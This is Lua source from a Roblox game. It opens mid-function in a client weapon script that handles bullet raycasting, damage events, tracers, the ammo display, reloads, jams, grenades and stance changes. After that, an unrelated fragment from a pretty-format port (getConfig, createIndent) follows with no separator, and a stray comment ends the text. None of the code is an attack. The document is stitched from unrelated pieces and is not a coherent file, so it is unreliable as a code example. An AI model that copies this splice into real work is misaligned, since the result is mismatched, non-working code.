Evt.Whizz:FireServer(plyr) Evt.Suppression:FireServer(plyr,1,nil,nil) Debounce = true end -- Set an origin and directional vector raycastResult = workspace:Raycast(Bpos2, (Bpos - Bpos2) * 1, raycastParams) recast = false if raycastResult then local Hit2 = raycastResult.Instance if Hit2 and Hit2.Parent:IsA('Accessory') or Hit2.Parent:IsA('Hat') then for _,players in pairs(game.Players:GetPlayers()) do if players.Character then for i, hats in pairs(players.Character:GetChildren()) do if hats:IsA("Accessory") then table.insert(Ignore_Model, hats) end end end end recast = true CastRay(Bullet, Origin) break end if Hit2 and Hit2.Name == "Ignorable" or Hit2.Name == "Ignore" or Hit2.Parent.Name == "Top" or Hit2.Parent.Name == "Helmet" or Hit2.Parent.Name == "Up" or Hit2.Parent.Name == "Down" or Hit2.Parent.Name == "Face" or Hit2.Parent.Name == "Olho" or Hit2.Parent.Name == "Headset" or Hit2.Parent.Name == "Numero" or Hit2.Parent.Name == "Vest" or Hit2.Parent.Name == "Chest" or Hit2.Parent.Name == "Waist" or Hit2.Parent.Name == "Back" or Hit2.Parent.Name == "Belt" or Hit2.Parent.Name == "Leg1" or Hit2.Parent.Name == "Leg2" or Hit2.Parent.Name == "Arm1" or Hit2.Parent.Name == "Arm2" then table.insert(Ignore_Model, Hit2) recast = true CastRay(Bullet, Origin) break end if Hit2 and Hit2.Parent.Name == "Top" or Hit2.Parent.Name == "Helmet" or Hit2.Parent.Name == "Up" or Hit2.Parent.Name == "Down" or Hit2.Parent.Name == "Face" or Hit2.Parent.Name == "Olho" or Hit2.Parent.Name == "Headset" or Hit2.Parent.Name == "Numero" or Hit2.Parent.Name == "Vest" or Hit2.Parent.Name == "Chest" or Hit2.Parent.Name == "Waist" or Hit2.Parent.Name == "Back" or Hit2.Parent.Name == "Belt" or Hit2.Parent.Name == "Leg1" or Hit2.Parent.Name == "Leg2" or Hit2.Parent.Name == "Arm1" or Hit2.Parent.Name == "Arm2" then table.insert(Ignore_Model, Hit2.Parent) recast = true CastRay(Bullet, Origin) break end if Hit2 and (Hit2.Transparency >= 1 or Hit2.CanCollide == false) and Hit2.Name ~= 'Head' and Hit2.Name ~= 'Right Arm' and Hit2.Name ~= 'Left Arm' and Hit2.Name ~= 'Right Leg' and Hit2.Name ~= 'Left Leg' and Hit2.Name ~= "UpperTorso" and Hit2.Name ~= "LowerTorso" and Hit2.Name ~= "RightUpperArm" and Hit2.Name ~= "RightLowerArm" and Hit2.Name ~= "RightHand" and Hit2.Name ~= "LeftUpperArm" and Hit2.Name ~= "LeftLowerArm" and Hit2.Name ~= "LeftHand" and Hit2.Name ~= "RightUpperLeg" and Hit2.Name ~= "RightLowerLeg" and Hit2.Name ~= "RightFoot" and Hit2.Name ~= "LeftUpperLeg" and Hit2.Name ~= "LeftLowerLeg" and Hit2.Name ~= "LeftFoot" and Hit2.Name ~= 'Armor' and Hit2.Name ~= 'EShield' then table.insert(Ignore_Model, Hit2) recast = true CastRay(Bullet, Origin) break end if not recast then Bullet:Destroy() Debounce = true local FoundHuman,VitimaHuman = CheckForHumanoid(raycastResult.Instance) HitMod.HitEffect(Ignore_Model, raycastResult.Position, raycastResult.Instance , raycastResult.Normal, raycastResult.Material, WeaponData) Evt.HitEffect:FireServer(raycastResult.Position, raycastResult.Instance , raycastResult.Normal, raycastResult.Material, WeaponData) local HitPart = raycastResult.Instance TotalDistTraveled = (raycastResult.Position - Origin).Magnitude if FoundHuman == true and VitimaHuman.Health > 0 and WeaponData then local SKP_02 = SKP_01.."-"..plr.UserId if HitPart.Name == "Head" or HitPart.Parent.Name == "Top" or HitPart.Parent.Name == "Headset" or HitPart.Parent.Name == "Olho" or HitPart.Parent.Name == "Face" or HitPart.Parent.Name == "Numero" then Evt.Damage:InvokeServer(WeaponTool, VitimaHuman, TotalDistTraveled, 1, WeaponData, ModTable, nil, nil, SKP_02) elseif HitPart.Name == "Torso" or HitPart.Name == "UpperTorso" or HitPart.Name == "LowerTorso" or HitPart.Parent.Name == "Chest" or HitPart.Parent.Name == "Waist" or HitPart.Name == "Right Arm" or HitPart.Name == "Left Arm" or HitPart.Name == "RightUpperArm" or HitPart.Name == "RightLowerArm" or HitPart.Name == "RightHand" or HitPart.Name == "LeftUpperArm" or HitPart.Name == "LeftLowerArm" or HitPart.Name == "LeftHand" then Evt.Damage:InvokeServer(WeaponTool, VitimaHuman, TotalDistTraveled, 2, WeaponData, ModTable, nil, nil, SKP_02) elseif HitPart.Name == "Right Leg" or HitPart.Name == "Left Leg" or HitPart.Name == "RightUpperLeg" or HitPart.Name == "RightLowerLeg" or HitPart.Name == "RightFoot" or HitPart.Name == "LeftUpperLeg" or HitPart.Name == "LeftLowerLeg" or HitPart.Name == "LeftFoot" then Evt.Damage:InvokeServer(WeaponTool, VitimaHuman, TotalDistTraveled, 3, WeaponData, ModTable, nil, nil, SKP_02) end end end break end Bpos2 = Bpos end end local Tracers = 0 function TracerCalculation() if not WeaponData.Tracer and not WeaponData.BulletFlare then return false; end; if WeaponData.RandomTracer.Enabled then if math.random(1, 100) <= WeaponData.RandomTracer.Chance then return true; end; return false; end; if Tracers >= WeaponData.TracerEveryXShots then Tracers = 0; return true; end; Tracers = Tracers + 1; return false; end; function CreateBullet() if WeaponData.IsLauncher then for _, cPart in pairs(WeaponInHand:GetChildren()) do if cPart.Name == "Warhead" then cPart.Transparency = 1 end end end local Bullet = Instance.new("Part",ACS_Workspace.Client) Bullet.Name = plr.Name.."_Bullet" Bullet.CanCollide = false Bullet.Shape = Enum.PartType.Ball Bullet.Transparency = 1 Bullet.Size = Vector3.new(1,1,1) local Origin = WeaponInHand.Handle.Muzzle.WorldPosition local Direction = WeaponInHand.Handle.Muzzle.WorldCFrame.LookVector + (WeaponInHand.Handle.Muzzle.WorldCFrame.UpVector * (((WeaponData.BulletDrop * WeaponData.CurrentZero/4)/WeaponData.MuzzleVelocity))/2) local BulletCF = CFrame.new(Origin, Direction) local WalkMul = WeaponData.WalkMult * ModTable.WalkMult local BColor = Color3.fromRGB(255,255,255) local balaspread if aimming and WeaponData.Bullets <= 1 then balaspread = CFrame.Angles( math.rad(RAND(-BSpread - (charspeed/1) * WalkMul, BSpread + (charspeed/1) * WalkMul) / (10 * WeaponData.AimSpreadReduction)), math.rad(RAND(-BSpread - (charspeed/1) * WalkMul, BSpread + (charspeed/1) * WalkMul) / (10 * WeaponData.AimSpreadReduction)), math.rad(RAND(-BSpread - (charspeed/1) * WalkMul, BSpread + (charspeed/1) * WalkMul) / (10 * WeaponData.AimSpreadReduction)) ) else balaspread = CFrame.Angles( math.rad(RAND(-BSpread - (charspeed/1) * WalkMul, BSpread + (charspeed/1) * WalkMul) / 10), math.rad(RAND(-BSpread - (charspeed/1) * WalkMul, BSpread + (charspeed/1) * WalkMul) / 10), math.rad(RAND(-BSpread - (charspeed/1) * WalkMul, BSpread + (charspeed/1) * WalkMul) / 10) ) end Direction = balaspread * Direction local Visivel = TracerCalculation() if WeaponData.RainbowMode then BColor = Color3.fromRGB(math.random(0,255),math.random(0,255),math.random(0,255)) else BColor = WeaponData.TracerColor end if Visivel then if gameRules.ReplicatedBullets then Evt.ServerBullet:FireServer(Origin,Direction,WeaponData,ModTable) end if WeaponData.Tracer == true then local At1 = Instance.new("Attachment") At1.Name = "At1" At1.Position = Vector3.new(-(.05),0,0) At1.Parent = Bullet local At2 = Instance.new("Attachment") At2.Name = "At2" At2.Position = Vector3.new((.05),0,0) At2.Parent = Bullet local Particles = Instance.new("Trail") Particles.Transparency = NumberSequence.new({ NumberSequenceKeypoint.new(0, 0, 0); NumberSequenceKeypoint.new(1, 1); } ) Particles.WidthScale = NumberSequence.new({ NumberSequenceKeypoint.new(0, 2, 0); NumberSequenceKeypoint.new(1, 1); } ) Particles.Color = ColorSequence.new(BColor) Particles.Texture = "rbxassetid://232918622" Particles.TextureMode = Enum.TextureMode.Stretch Particles.FaceCamera = true Particles.LightEmission = 1 Particles.LightInfluence = 0 Particles.Lifetime = .25 Particles.Attachment0 = At1 Particles.Attachment1 = At2 Particles.Parent = Bullet end if WeaponData.BulletFlare == true then local bg = Instance.new("BillboardGui", Bullet) bg.Adornee = Bullet bg.Enabled = false local flashsize = math.random(275, 375)/10 bg.Size = UDim2.new(flashsize, 0, flashsize, 0) bg.LightInfluence = 0 local flash = Instance.new("ImageLabel", bg) flash.BackgroundTransparency = 1 flash.Size = UDim2.new(1, 0, 1, 0) flash.Position = UDim2.new(0, 0, 0, 0) flash.Image = "http://www.roblox.com/asset/?id=1047066405" flash.ImageTransparency = math.random(2, 5)/15 flash.ImageColor3 = BColor spawn(function() wait(.1) if not Bullet:FindFirstChild("BillboardGui") then return; end; Bullet.BillboardGui.Enabled = true end) end end local BulletMass = Bullet:GetMass() local Force = Vector3.new(0,BulletMass * (196.2) - (WeaponData.BulletDrop) * (196.2), 0) local BF = Instance.new("BodyForce",Bullet) Bullet.CFrame = BulletCF Bullet:ApplyImpulse(Direction * WeaponData.MuzzleVelocity * ModTable.MuzzleVelocity) BF.Force = Force game.Debris:AddItem(Bullet, 5) CastRay(Bullet, Origin) end function meleeCast() local recast -- Set an origin and directional vector local rayOrigin = cam.CFrame.Position local rayDirection = cam.CFrame.LookVector * WeaponData.BladeRange local raycastParams = RaycastParams.new() raycastParams.FilterDescendantsInstances = Ignore_Model raycastParams.FilterType = Enum.RaycastFilterType.Blacklist raycastParams.IgnoreWater = true local raycastResult = workspace:Raycast(rayOrigin, rayDirection, raycastParams) if raycastResult then local Hit2 = raycastResult.Instance --Check if it's a hat or accessory if Hit2 and Hit2.Parent:IsA('Accessory') then for _,players in pairs(game.Players:GetPlayers()) do if not players.Character then continue; end; for i, hats in pairs(players.Character:GetChildren()) do if not hats:IsA("Accessory") then continue; end; table.insert(Ignore_Model, hats) end end return meleeCast() end if Hit2 and Hit2.Name == "Ignorable" or Hit2.Name == "Ignore" or Hit2.Parent.Name == "Top" or Hit2.Parent.Name == "Helmet" or Hit2.Parent.Name == "Up" or Hit2.Parent.Name == "Down" or Hit2.Parent.Name == "Face" or Hit2.Parent.Name == "Olho" or Hit2.Parent.Name == "Headset" or Hit2.Parent.Name == "Numero" or Hit2.Parent.Name == "Vest" or Hit2.Parent.Name == "Chest" or Hit2.Parent.Name == "Waist" or Hit2.Parent.Name == "Back" or Hit2.Parent.Name == "Belt" or Hit2.Parent.Name == "Leg1" or Hit2.Parent.Name == "Leg2" or Hit2.Parent.Name == "Arm1" or Hit2.Parent.Name == "Arm2" then table.insert(Ignore_Model, Hit2) return meleeCast() end if Hit2 and Hit2.Parent.Name == "Top" or Hit2.Parent.Name == "Helmet" or Hit2.Parent.Name == "Up" or Hit2.Parent.Name == "Down" or Hit2.Parent.Name == "Face" or Hit2.Parent.Name == "Olho" or Hit2.Parent.Name == "Headset" or Hit2.Parent.Name == "Numero" or Hit2.Parent.Name == "Vest" or Hit2.Parent.Name == "Chest" or Hit2.Parent.Name == "Waist" or Hit2.Parent.Name == "Back" or Hit2.Parent.Name == "Belt" or Hit2.Parent.Name == "Leg1" or Hit2.Parent.Name == "Leg2" or Hit2.Parent.Name == "Arm1" or Hit2.Parent.Name == "Arm2" then table.insert(Ignore_Model, Hit2.Parent) return meleeCast() end if Hit2 and (Hit2.Transparency >= 1 or Hit2.CanCollide == false) and Hit2.Name ~= 'Head' and Hit2.Name ~= 'Right Arm' and Hit2.Name ~= 'Left Arm' and Hit2.Name ~= 'Right Leg' and Hit2.Name ~= 'Left Leg' and Hit2.Name ~= "UpperTorso" and Hit2.Name ~= "LowerTorso" and Hit2.Name ~= "RightUpperArm" and Hit2.Name ~= "RightLowerArm" and Hit2.Name ~= "RightHand" and Hit2.Name ~= "LeftUpperArm" and Hit2.Name ~= "LeftLowerArm" and Hit2.Name ~= "LeftHand" and Hit2.Name ~= "RightUpperLeg" and Hit2.Name ~= "RightLowerLeg" and Hit2.Name ~= "RightFoot" and Hit2.Name ~= "LeftUpperLeg" and Hit2.Name ~= "LeftLowerLeg" and Hit2.Name ~= "LeftFoot" and Hit2.Name ~= 'Armor' and Hit2.Name ~= 'EShield' then table.insert(Ignore_Model, Hit2) return meleeCast() end end if not raycastResult then return; end; local FoundHuman,VitimaHuman = CheckForHumanoid(raycastResult.Instance) HitMod.HitEffect(Ignore_Model, raycastResult.Position, raycastResult.Instance , raycastResult.Normal, raycastResult.Material, WeaponData) Evt.HitEffect:FireServer(raycastResult.Position, raycastResult.Instance , raycastResult.Normal, raycastResult.Material, WeaponData) local HitPart = raycastResult.Instance if not FoundHuman or VitimaHuman.Health <= 0 then return; end; local SKP_02 = SKP_01.."-"..plr.UserId if HitPart.Name == "Head" or HitPart.Parent.Name == "Top" or HitPart.Parent.Name == "Headset" or HitPart.Parent.Name == "Olho" or HitPart.Parent.Name == "Face" or HitPart.Parent.Name == "Numero" then Thread:Spawn(function() Evt.Damage:InvokeServer(WeaponTool, VitimaHuman, 0, 1, WeaponData, ModTable, nil, nil, SKP_02) end) elseif HitPart.Name == "Torso" or HitPart.Name == "UpperTorso" or HitPart.Name == "LowerTorso" or HitPart.Parent.Name == "Chest" or HitPart.Parent.Name == "Waist" or HitPart.Name == "RightUpperArm" or HitPart.Name == "RightLowerArm" or HitPart.Name == "RightHand" or HitPart.Name == "LeftUpperArm" or HitPart.Name == "LeftLowerArm" or HitPart.Name == "LeftHand" then Thread:Spawn(function() Evt.Damage:InvokeServer(WeaponTool, VitimaHuman, 0, 2, WeaponData, ModTable, nil, nil, SKP_02) end) elseif HitPart.Name == "Right Arm" or HitPart.Name == "Right Leg" or HitPart.Name == "Left Leg" or HitPart.Name == "Left Arm" or HitPart.Name == "RightUpperLeg" or HitPart.Name == "RightLowerLeg" or HitPart.Name == "RightFoot" or HitPart.Name == "LeftUpperLeg" or HitPart.Name == "LeftLowerLeg" or HitPart.Name == "LeftFoot" then Thread:Spawn(function() Evt.Damage:InvokeServer(WeaponTool, VitimaHuman, 0, 3, WeaponData, ModTable, nil, nil, SKP_02) end) end; end; function UpdateGui() if not SE_GUI or not WeaponData then return; end; local HUD = SE_GUI.GunHUD HUD.NText.Text = WeaponData.gunName HUD.BText.Text = WeaponData.BulletType HUD.A.Visible = SafeMode HUD.Att.Silencer.Visible = Suppressor HUD.Att.Bipod.Visible = BipodAtt HUD.Sens.Text = (Sens/100) if WeaponData.Jammed then HUD.B.BackgroundColor3 = Color3.fromRGB(255,0,0) else HUD.B.BackgroundColor3 = Color3.fromRGB(255,255,255) end if Ammo > 0 then HUD.B.Visible = true else HUD.B.Visible = false end if WeaponData.ShootType == 1 then HUD.FText.Text = "Semi" elseif WeaponData.ShootType == 2 then HUD.FText.Text = "Burst" elseif WeaponData.ShootType == 3 then HUD.FText.Text = "Auto" elseif WeaponData.ShootType == 4 then HUD.FText.Text = "Pump-Action" elseif WeaponData.ShootType == 5 then HUD.FText.Text = "Bolt-Action" end if WeaponData.EnableZeroing then HUD.ZeText.Visible = true HUD.ZeText.Text = WeaponData.CurrentZero .." m" else HUD.ZeText.Visible = false end if WeaponData.MagCount then HUD.SAText.Text = math.ceil(StoredAmmo/WeaponData.Ammo) HUD.Magazines.Visible = true HUD.Bullets.Visible = false else HUD.SAText.Text = StoredAmmo HUD.Magazines.Visible = false HUD.Bullets.Visible = true end if LaserAtt then HUD.Att.Laser.Visible = true if LaserActive then if IRmode then TS:Create(HUD.Att.Laser, TweenInfo.new(.1,Enum.EasingStyle.Linear), {ImageColor3 = Color3.fromRGB(0,255,0), ImageTransparency = .123}):Play() else TS:Create(HUD.Att.Laser, TweenInfo.new(.1,Enum.EasingStyle.Linear), {ImageColor3 = Color3.fromRGB(255,255,255), ImageTransparency = .123}):Play() end else TS:Create(HUD.Att.Laser, TweenInfo.new(.1,Enum.EasingStyle.Linear), {ImageColor3 = Color3.fromRGB(255,0,0), ImageTransparency = .5}):Play() end else HUD.Att.Laser.Visible = false end if TorchAtt then HUD.Att.Flash.Visible = true if TorchActive then TS:Create(HUD.Att.Flash, TweenInfo.new(.1,Enum.EasingStyle.Linear), {ImageColor3 = Color3.fromRGB(255,255,255), ImageTransparency = .123}):Play() else TS:Create(HUD.Att.Flash, TweenInfo.new(.1,Enum.EasingStyle.Linear), {ImageColor3 = Color3.fromRGB(255,0,0), ImageTransparency = .5}):Play() end else HUD.Att.Flash.Visible = false end if WeaponData.Type == "Grenade" then SE_GUI.GrenadeForce.Visible = true else SE_GUI.GrenadeForce.Visible = false end end function CheckMagFunction() if aimming then aimming = false ADS(aimming) end if SE_GUI then local HUD = SE_GUI.GunHUD TS:Create(HUD.CMText,TweenInfo.new(.25,Enum.EasingStyle.Linear,Enum.EasingDirection.InOut,0,false,0),{TextTransparency = 0,TextStrokeTransparency = 0.75}):Play() if Ammo >= WeaponData.Ammo then HUD.CMText.Text = "Full" elseif Ammo > math.floor((WeaponData.Ammo)*.75) and Ammo < WeaponData.Ammo then HUD.CMText.Text = "Nearly full" elseif Ammo < math.floor((WeaponData.Ammo)*.75) and Ammo > math.floor((WeaponData.Ammo)*.5) then HUD.CMText.Text = "Almost half" elseif Ammo == math.floor((WeaponData.Ammo)*.5) then HUD.CMText.Text = "Half" elseif Ammo > math.ceil((WeaponData.Ammo)*.25) and Ammo < math.floor((WeaponData.Ammo)*.5) then HUD.CMText.Text = "Less than half" elseif Ammo < math.ceil((WeaponData.Ammo)*.25) and Ammo > 0 then HUD.CMText.Text = "Almost empty" elseif Ammo == 0 then HUD.CMText.Text = "Empty" end delay(.25,function() TS:Create(HUD.CMText,TweenInfo.new(.25,Enum.EasingStyle.Linear,Enum.EasingDirection.InOut,0,false,5),{TextTransparency = 1,TextStrokeTransparency = 1}):Play() end) end mouse1down = false SafeMode = false GunStance = 0 Evt.GunStance:FireServer(GunStance,AnimData) UpdateGui() MagCheckAnim() RunCheck() end function Grenade() if GRDebounce then return; end; GRDebounce = true; GrenadeReady() repeat wait() until not CookGrenade; TossGrenade() end function TossGrenade() if not WeaponTool or not WeaponData or not GRDebounce then return; end; local SKP_02 = SKP_01.."-"..plr.UserId GrenadeThrow() if not WeaponTool or not WeaponData then return; end; Evt.Grenade:FireServer(WeaponTool,WeaponData,cam.CFrame,cam.CFrame.LookVector,Power,SKP_02) unset() end function GrenadeMode() if Power >= 150 then Power = 100 SE_GUI.GrenadeForce.Text = "Mid Throw" elseif Power >= 100 then Power = 50 SE_GUI.GrenadeForce.Text = "Low Throw" elseif Power >= 50 then Power = 150 SE_GUI.GrenadeForce.Text = "High Throw" end end function JamChance() if not WeaponData or not WeaponData.CanBreak or WeaponData.Jammed or Ammo - 1 <= 0 then return; end; local Jam = math.random(1000) if Jam > 2 then return; end; WeaponData.Jammed = true WeaponInHand.Handle.Click:Play() end function Jammed() if not WeaponData or WeaponData.Type ~= "Gun" or not WeaponData.Jammed then return; end; mouse1down = false reloading = true SafeMode = false GunStance = 0 Evt.GunStance:FireServer(GunStance,AnimData) UpdateGui() JammedAnim() WeaponData.Jammed = false UpdateGui() reloading = false RunCheck() end function Reload() if WeaponData.Type == "Gun" and StoredAmmo > 0 and (Ammo < WeaponData.Ammo or WeaponData.IncludeChamberedBullet and Ammo < WeaponData.Ammo + 1) then mouse1down = false reloading = true SafeMode = false GunStance = 0 Evt.GunStance:FireServer(GunStance,AnimData) UpdateGui() if WeaponData.ShellInsert then if Ammo > 0 then for i = 1,WeaponData.Ammo - Ammo do if StoredAmmo > 0 and Ammo < WeaponData.Ammo then if CancelReload then break end ReloadAnim() Ammo = Ammo + 1 StoredAmmo = StoredAmmo - 1 UpdateGui() end end else TacticalReloadAnim() Ammo = Ammo + 1 StoredAmmo = StoredAmmo - 1 UpdateGui() for i = 1,WeaponData.Ammo - Ammo do if StoredAmmo > 0 and WeaponData and Ammo < WeaponData.Ammo then if CancelReload then break end ReloadAnim() Ammo = Ammo + 1 StoredAmmo = StoredAmmo - 1 UpdateGui() end end end else if Ammo > 0 then ReloadAnim() else TacticalReloadAnim() end if WeaponData then if (Ammo - (WeaponData.Ammo - StoredAmmo)) < 0 then Ammo = Ammo + StoredAmmo StoredAmmo = 0 elseif Ammo <= 0 then StoredAmmo = StoredAmmo - (WeaponData.Ammo - Ammo) Ammo = WeaponData.Ammo elseif Ammo > 0 and WeaponData.IncludeChamberedBullet then StoredAmmo = StoredAmmo - (WeaponData.Ammo - Ammo) - 1 Ammo = WeaponData.Ammo + 1 elseif Ammo > 0 and not WeaponData.IncludeChamberedBullet then StoredAmmo = StoredAmmo - (WeaponData.Ammo - Ammo) Ammo = WeaponData.Ammo end end end if WeaponData.Type == "Gun" and WeaponData.IsLauncher then Evt.RepAmmo:FireServer(WeaponTool,Ammo,StoredAmmo,WeaponData.Jammed) end CancelReload = false reloading = false RunCheck() UpdateGui() end end function GunFx() -- Clone and play muzzle sound local Muzzle = WeaponInHand.Handle.Muzzle if WeaponData.ShootType > 3 then canPump = true end if Suppressor then local newSound = Muzzle.Supressor:Clone() newSound.PlaybackSpeed = newSound.PlaybackSpeed + math.random(-20,20) / 1000 newSound.Parent = Muzzle newSound.Name = "Firing" newSound:Play() newSound.PlayOnRemove = true newSound:Destroy() else local newSound = Muzzle.Fire:Clone() newSound.PlaybackSpeed = newSound.PlaybackSpeed + math.random(-20,20) / 1000 newSound.Parent = Muzzle newSound.Name = "Firing" newSound:Play() newSound.PlayOnRemove = true newSound:Destroy() end if Muzzle:FindFirstChild("Echo") then local newSound = Muzzle.Echo:Clone() newSound.PlaybackSpeed = newSound.PlaybackSpeed + math.random(-20,20) / 1000 newSound.Parent = Muzzle newSound.Name = "FireEcho" newSound:Play() newSound.PlayOnRemove = true newSound:Destroy() end if WeaponData.FlashChance and math.random(1,10) <= WeaponData.FlashChance and not FlashHider then if Muzzle:FindFirstChild("FlashFX") then Muzzle["FlashFX"].Enabled = true delay(0.1,function() if Muzzle:FindFirstChild("FlashFX") then Muzzle["FlashFX"].Enabled = false end end) end WeaponInHand.Handle.Muzzle["FlashFX[Flash]"]:Emit(10) end WeaponInHand.Handle.Muzzle["Smoke"]:Emit(10) if BSpread then BSpread = math.min(WeaponData.MaxSpread * ModTable.MaxSpread, BSpread + WeaponData.AimInaccuracyStepAmount * ModTable.AimInaccuracyStepAmount) RecoilPower = math.min(WeaponData.MaxRecoilPower * ModTable.MaxRecoilPower, RecoilPower + WeaponData.RecoilPowerStepAmount * ModTable.RecoilPowerStepAmount) end generateBullet = generateBullet + 1 LastSpreadUpdate = time() if Ammo > 0 or not WeaponData.SlideLock then TS:Create( WeaponInHand.Handle.Slide, TweenInfo.new(30/WeaponData.ShootRate,Enum.EasingStyle.Linear,Enum.EasingDirection.InOut,0,true,0), {C0 = WeaponData.SlideEx:inverse() }):Play() elseif Ammo <= 0 and WeaponData.SlideLock then TS:Create( WeaponInHand.Handle.Slide, TweenInfo.new(30/WeaponData.ShootRate,Enum.EasingStyle.Linear,Enum.EasingDirection.InOut,0,false,0), {C0 = WeaponData.SlideEx:inverse() }):Play() end if WeaponData.ShootType < 4 then WeaponInHand.Handle.Chamber.Smoke:Emit(10) end for _, effect in pairs(WeaponInHand.Handle.Chamber:GetChildren()) do if effect.Name == "Shell" then effect:Emit(1) end end end function ShellCheck() if WeaponData.ShellEjectionMod and WeaponData.ShootType < 4 then if Engine.AmmoModels:FindFirstChild(WeaponData.BulletType) then CreateShell(WeaponData.BulletType,WeaponInHand.Handle.Chamber) else CreateShell("Default",WeaponInHand.Handle.Chamber) end end end function Shoot() if WeaponData and WeaponData.Type == "Gun" and not shooting and not reloading then if reloading or runKeyDown or SafeMode or CheckingMag then mouse1down = false return end if Ammo <= 0 or WeaponData.Jammed then WeaponInHand.Handle.Click:Play() mouse1down = false return end mouse1down = true delay(0, function() if WeaponData and WeaponData.ShootType == 1 then shooting = true Evt.Atirar:FireServer(WeaponTool,Suppressor,FlashHider) ShellCheck() for _ = 1, WeaponData.Bullets do Thread:Spawn(CreateBullet) end Ammo = Ammo - 1 GunFx() JamChance() UpdateGui() Thread:Spawn(Recoil) wait(60/WeaponData.ShootRate) shooting = false elseif WeaponData and WeaponData.ShootType == 2 then for i = 1, WeaponData.BurstShot do if shooting or Ammo <= 0 or mouse1down == false or WeaponData.Jammed then break end shooting = true Evt.Atirar:FireServer(WeaponTool,Suppressor,FlashHider) ShellCheck() for _ = 1, WeaponData.Bullets do Thread:Spawn(CreateBullet) end Ammo = Ammo - 1 GunFx() JamChance() UpdateGui() Thread:Spawn(Recoil) wait(60/WeaponData.ShootRate) shooting = false end elseif WeaponData and WeaponData.ShootType == 3 then while mouse1down do if shooting or Ammo <= 0 or WeaponData.Jammed then break end shooting = true Evt.Atirar:FireServer(WeaponTool,Suppressor,FlashHider) ShellCheck() for _ = 1, WeaponData.Bullets do Thread:Spawn(CreateBullet) end Ammo = Ammo - 1 GunFx() JamChance() UpdateGui() Thread:Spawn(Recoil) wait(60/WeaponData.ShootRate) shooting = false end elseif WeaponData and WeaponData.ShootType == 4 or WeaponData and WeaponData.ShootType == 5 then shooting = true Evt.Atirar:FireServer(WeaponTool,Suppressor,FlashHider) for _ = 1, WeaponData.Bullets do Thread:Spawn(CreateBullet) end Ammo = Ammo - 1 GunFx() UpdateGui() Thread:Spawn(Recoil) PumpAnim() RunCheck() shooting = false end if WeaponData and WeaponData.Type == "Gun" and WeaponData.IsLauncher then Evt.RepAmmo:FireServer(WeaponTool,Ammo,StoredAmmo,WeaponData.Jammed) end end) elseif WeaponData and WeaponData.Type == "Melee" and not runKeyDown then if not shooting then shooting = true meleeCast() meleeAttack() RunCheck() shooting = false end end end local L_150_ = {} local LeanSpring = {} LeanSpring.cornerPeek = SpringMod.new(0) LeanSpring.cornerPeek.d = 1 LeanSpring.cornerPeek.s = 20 LeanSpring.peekFactor = math.rad(-15) LeanSpring.dirPeek = 0 function L_150_.Update() LeanSpring.cornerPeek.t = LeanSpring.peekFactor * Virar local NewLeanCF = CFrame.fromAxisAngle(Vector3.new(0, 0, 1), LeanSpring.cornerPeek.p) cam.CFrame = cam.CFrame * NewLeanCF end game:GetService("RunService"):BindToRenderStep("Camera Update", 200, L_150_.Update) function RunCheck() if runKeyDown then mouse1down = false GunStance = 3 Evt.GunStance:FireServer(GunStance,AnimData) SprintAnim() else if aimming then GunStance = 2 Evt.GunStance:FireServer(GunStance,AnimData) else GunStance = 0 Evt.GunStance:FireServer(GunStance,AnimData) end IdleAnim() end end function Stand() Stance:FireServer(Stances,Virar) TS:Create(char.Humanoid, TweenInfo.new(.3), {CameraOffset = Vector3.new(CameraX,CameraY,char.Humanoid.CameraOffset.Z)} ):Play() SE_GUI.MainFrame.Poses.Levantado.Visible = true SE_GUI.MainFrame.Poses.Agaixado.Visible = false SE_GUI.MainFrame.Poses.Deitado.Visible = false --if Steady then -- SetWalkSpeed(gameRules.SlowPaceWalkSpeed) --else -- if script.Parent:GetAttribute("Injured") then -- SetWalkSpeed(gameRules.InjuredWalksSpeed) -- else -- SetWalkSpeed(gameRules.NormalWalkSpeed) -- end --end char.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Jumping, true) IsStanced = false end function Crouch() Stance:FireServer(Stances,Virar) TS:Create(char.Humanoid, TweenInfo.new(.3), {CameraOffset = Vector3.new(CameraX,CameraY,char.Humanoid.CameraOffset.Z)} ):Play() SE_GUI.MainFrame.Poses.Levantado.Visible = false SE_GUI.MainFrame.Poses.Agaixado.Visible = true SE_GUI.MainFrame.Poses.Deitado.Visible = false --if script.Parent:GetAttribute("Injured") then -- SetWalkSpeed(gameRules.InjuredCrouchWalkSpeed) --else -- SetWalkSpeed(gameRules.CrouchWalkSpeed) --end char.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Jumping, false) IsStanced = true end function Prone() Stance:FireServer(Stances,Virar) TS:Create(char.Humanoid, TweenInfo.new(.3), {CameraOffset = Vector3.new(CameraX,CameraY,char.Humanoid.CameraOffset.Z)} ):Play() SE_GUI.MainFrame.Poses.Levantado.Visible = false SE_GUI.MainFrame.Poses.Agaixado.Visible = false SE_GUI.MainFrame.Poses.Deitado.Visible = true --if ACS_Client:GetAttribute("Surrender") then -- char.Humanoid.WalkSpeed = 0 --else -- SetWalkSpeed(gameRules.ProneWalksSpeed) --end char.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Jumping, false) IsStanced = true end function Lean() TS:Create(char.Humanoid, TweenInfo.new(.3), {CameraOffset = Vector3.new(CameraX,CameraY,char.Humanoid.CameraOffset.Z)} ):Play() Stance:FireServer(Stances,Virar) if Virar == 0 then SE_GUI.MainFrame.Poses.Esg_Left.Visible = false SE_GUI.MainFrame.Poses.Esg_Right.Visible = false elseif Virar == 1 then SE_GUI.MainFrame.Poses.Esg_Left.Visible = false SE_GUI.MainFrame.Poses.Esg_Right.Visible = true elseif Virar == -1 then SE_GUI.MainFrame.Poses.Esg_Left.Visible = true SE_GUI.MainFrame.Poses.Esg_Right.Visible = false end end
-- ROBLOX deviation: rewrote to replace ternary operators and reduce code repetition
local function getConfig(options: OptionsReceived?): Config return { callToJSON = getOption(options, "callToJSON"), -- ROBLOX deviation: color formatting omitted colors = nil, compareKeys = if options ~= nil and typeof(options.compareKeys) == "function" then options.compareKeys else DEFAULT_OPTIONS.compareKeys, escapeRegex = getOption(options, "escapeRegex"), escapeString = getOption(options, "escapeString"), indent = getIndent(options), maxDepth = getOption(options, "maxDepth"), min = getOption(options, "min"), plugins = getOption(options, "plugins"), printBasicPrototype = if options ~= nil and options.printBasicPrototype ~= nil then options.printBasicPrototype else true, printFunctionName = getOption(options, "printFunctionName"), spacingInner = getSpacingInner(options), spacingOuter = getSpacingOuter(options), } end function createIndent(indent: number): string -- ROBLOX deviation: used string repeat instead of a table join, also don't need the +1 return string.rep(" ", indent) end
--// Tables
